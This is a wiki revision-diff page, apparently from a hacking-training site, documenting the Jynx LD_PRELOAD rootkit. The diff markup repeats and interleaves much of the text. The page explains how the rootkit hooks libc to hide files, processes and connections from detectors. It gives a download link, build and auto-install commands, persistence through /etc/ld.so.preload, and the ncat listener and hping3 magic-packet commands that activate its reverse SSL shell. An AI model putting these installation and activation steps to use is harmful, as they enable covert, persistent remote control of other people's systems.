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Difference between revisions of "Jynx Rootkit/1.0"

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m (Protected "Jynx Rootkit/1.0" ([edit=sysop] (indefinite) [move=sysop] (indefinite)))
 
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=Jynx=
 
=Jynx=
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{{info|Jynx is a [[rootkit]] that implements [[LD Preload]] to override several critical libc functions.}}
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{{info|Jynx is a rootkit written in [[C]] that implements [[LD Preload]] to override several critical libc functions.}}
−
At the time of release, jynx was not detected by chkrootkit or rkhunter.  Jynx comes bundled with a magic-packet activated reverse connect [[SSL]] shell that hooks pcap in order to evade local [[sniffing]].
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At the time of release, jynx was not detected by chkrootkit or rkhunter.  Jynx comes bundled with a magic-packet activated reverse connect SSL shell that hooks pcap in order to evade local [[sniffing]].
  
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==Rootkit Link==  
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==Introduction==
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<pre>http://www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz</pre>
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[[LD Preload|LD_PRELOAD]] rootkits are simple if one understand how [[LD Preload|LD_PRELOAD]] works. Libc functions are hooked in order to obscure arbitrary code. The challenging part of this is the limited amount of information given in a function call.
  
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This is where the source to Jynx Kit is available.
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For example, to decide whether or not to hide information, there is no way to get a full file path inside of readdir() without hooking opendir() and maintaining a lookup table which is not only hackish, but degrades performance of the system.
  
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File contents:
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With fstat(), only a file descriptor is passed, and thus Jynx uses a magic GID to hide /etc/ld.so.preload.
  
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bc.c<br>
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{{info|Jynx has room for improvement!  Want to contribute?  Visit our [[IRC]]!}}
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config.h<br>
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ld_poison.c<br>
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Makefile<br>
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packer.sh<br>
+
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README<br>
+
  
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==Introduction==
+
In one custom implementation of Jynx written by a student, a magic string is used as opposed to a magic GID.  It is harder to hide processes from programs like `ps' or even from a user obtaining a /proc listing using a magic string; thus Jynx uses the magic GID method.  It is recommended to use an existing system GID so that another group is not added to the system, and thus the file integrity of /etc/group is preserved.
−
LD_PRELOAD ROOTKITS are simple if you understand how LD_PRELOAD works. You hook libc functions to obscure arbitrary code. The challenging part of this, and you'll see this in jynx, is that you have a limited amount of information given to you in a call.
+
  
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For example, to decide whether or not to hide it, there is no way to get a full file path inside of readdir without hooking opendir and maintaining a lookup table which is gross and bulky.
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Because most rootkit detection mechanisms rely on a truthful environment, it is easy to bypass detection.  By hooking [[LD Preload]], near anything is possible.
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Or fstat, you only have an fd, so we have it look at the gid and of course it hides /etc/ld.so.preload.
+
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So, moving onto the specifics of jynxkit, for those who want to play with it, first thing: there's a lot of room for improvement.
+
  
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I know one of our testers removed all the gid code, just hides by filename, for example, you could hide network connections in /proc/net/tcp. The issue with ignoring GID is that it's harder to hide processes from programs like 'ps' with our version, even ls /proc. It hides all processes with a certain gid, i recommend you use an existing system gid.  
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This rootkit is undetectable to rkhunter and chkrootkit and exists in userland or '''RING 3'''.
  
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That isn't used much and won't be missed so you dont have to mask it in configs. You could hook into network functions to add backdoors etc. You can be pretty creative with ld_preload, it's really simple to implement. Since rootkit hunters rely on the environment to be truthful, it's easy to slide by undetected.
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==Configuration & Features==
 +
{{info| Download at http://www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz}}
 +
'''config.h''' contains the configuration for the rootkit.  MAGIC_DIR is the primary directory to hide from the system. When creating MAGIC_DIR, one must ensure that its group ownership matches the GID set in MAGIC_GID to ensure the proper hiding of processes and connections from the system.  CONFIG_FILE defaults to /etc/ld.so.preload, however changing this is preferred when performing a "safe installation" for testing purposes.  
  
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This rootkit is undetectable to rkhunter and chkrootkit. Kernel rootkits are unstable, they break between kernel versions, slow down the system, userland is stable but the linux kernel isn't stable at all. LKMs are useful for specific uses like setting a pid to 0 but robust LKMs cause issues.
+
'''MAGIC_SEQ''' and '''MAGIC_ACK''' are special options for the reverse connect SSL shell.  One will need to record these for construction of the magic packet for activation of the shell.
  
 
==Exercise & Installation==
 
==Exercise & Installation==
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-Try hiding tcp connections by hooking read.
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'''Exercise''' : Try hiding tcp connections by hooking read.
  
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Use packer.sh to make an auto installing shell file for your version of jynx-kit.
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'''Basic installation''':
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Run ./install.sh to extract all sources, compile, install, and delete traces.
+
  
 +
Once configured, a simple make execution will do the trick:
 +
  make all; make install INSTALL=/<MAGIC_DIR> MAGIC_GID=<MAGIC_GID>
 +
 +
To create a script for faster installation on future machines:
 +
  ./packer.sh
 +
 +
'''packer.sh''' will generate install.sh, which when bundled with the compiled binaries, will auto-install the binaries on future machines.
 +
 
 
{{info|Pointing /etc/ld.so.preload to a soft link or symlink that points to the ld_poison.so is easier to remove.}}
 
{{info|Pointing /etc/ld.so.preload to a soft link or symlink that points to the ld_poison.so is easier to remove.}}
−
  To make the soft link:
 
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ln -s /path/to/poison.so /etc/ld.so.preload
 
  
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   Removal:
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To make the soft link:
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rm -vf /path/to/poison.so /etc/ld.so.preload
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   ln -s /path/to/poison.so /etc/ld.so.preload
 +
 
 +
Removal:
 +
  rm -vf /path/to/poison.so /etc/ld.so.preload
 +
 
 +
{{warning|Alternatively, you can simply overwrite /etc/ld.so.preload, however removal will be more difficult.}}
 +
  rm -vf /etc/ld.so.preload ; mv /path/to/poison.so /etc/ld.so.preload
 +
 
 +
==Usage==
 +
To activate the shell, first start a listening interface:
 +
  ncat --ssl -l -p <PORT_TO_LISTEN_ON>
 +
 
 +
Then, to initiate the connection:
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  hping3 <HOSTNAME> -s <PORT_TO_CONNECT_TO> -M <MAGIC_SEQ> -L <MAGIC_ACK> -c 1
  
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{{warning|Alternatively, you can simply overwrite /etc/ld.so.preload, however removal will be more difficult}}
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{{InHouse}}
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rm -vf /etc/ld.so.preload ; mv /path/to/poison.so /etc/ld.so.preload
+
[[Category:Maintaining_Access]]

Latest revision as of 04:54, 2 June 2012

Jynx

c3el4.png Jynx is a rootkit written in C that implements LD Preload to override several critical libc functions.

At the time of release, jynx was not detected by chkrootkit or rkhunter. Jynx comes bundled with a magic-packet activated reverse connect SSL shell that hooks pcap in order to evade local sniffing.

Introduction

LD_PRELOAD rootkits are simple if one understand how LD_PRELOAD works. Libc functions are hooked in order to obscure arbitrary code. The challenging part of this is the limited amount of information given in a function call.

For example, to decide whether or not to hide information, there is no way to get a full file path inside of readdir() without hooking opendir() and maintaining a lookup table which is not only hackish, but degrades performance of the system.

With fstat(), only a file descriptor is passed, and thus Jynx uses a magic GID to hide /etc/ld.so.preload.

c3el4.png Jynx has room for improvement! Want to contribute? Visit our IRC!

In one custom implementation of Jynx written by a student, a magic string is used as opposed to a magic GID. It is harder to hide processes from programs like `ps' or even from a user obtaining a /proc listing using a magic string; thus Jynx uses the magic GID method. It is recommended to use an existing system GID so that another group is not added to the system, and thus the file integrity of /etc/group is preserved.

Because most rootkit detection mechanisms rely on a truthful environment, it is easy to bypass detection. By hooking LD Preload, near anything is possible.

This rootkit is undetectable to rkhunter and chkrootkit and exists in userland or RING 3.

Configuration & Features

c3el4.png Download at http://www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz

config.h contains the configuration for the rootkit. MAGIC_DIR is the primary directory to hide from the system. When creating MAGIC_DIR, one must ensure that its group ownership matches the GID set in MAGIC_GID to ensure the proper hiding of processes and connections from the system. CONFIG_FILE defaults to /etc/ld.so.preload, however changing this is preferred when performing a "safe installation" for testing purposes.

MAGIC_SEQ and MAGIC_ACK are special options for the reverse connect SSL shell. One will need to record these for construction of the magic packet for activation of the shell.

Exercise & Installation

Exercise : Try hiding tcp connections by hooking read.

Basic installation:

Once configured, a simple make execution will do the trick: 

  make all; make install INSTALL=/<MAGIC_DIR> MAGIC_GID=<MAGIC_GID>

To create a script for faster installation on future machines: 

  ./packer.sh

packer.sh will generate install.sh, which when bundled with the compiled binaries, will auto-install the binaries on future machines.

c3el4.png Pointing /etc/ld.so.preload to a soft link or symlink that points to the ld_poison.so is easier to remove.

To make the soft link: 

  ln -s /path/to/poison.so /etc/ld.so.preload

Removal: 

  rm -vf /path/to/poison.so /etc/ld.so.preload
RPU0j.png Alternatively, you can simply overwrite /etc/ld.so.preload, however removal will be more difficult. 
  rm -vf /etc/ld.so.preload ; mv /path/to/poison.so /etc/ld.so.preload

Usage

To activate the shell, first start a listening interface: 

  ncat --ssl -l -p <PORT_TO_LISTEN_ON>

Then, to initiate the connection: 

  hping3 <HOSTNAME> -s <PORT_TO_CONNECT_TO> -M <MAGIC_SEQ> -L <MAGIC_ACK> -c 1
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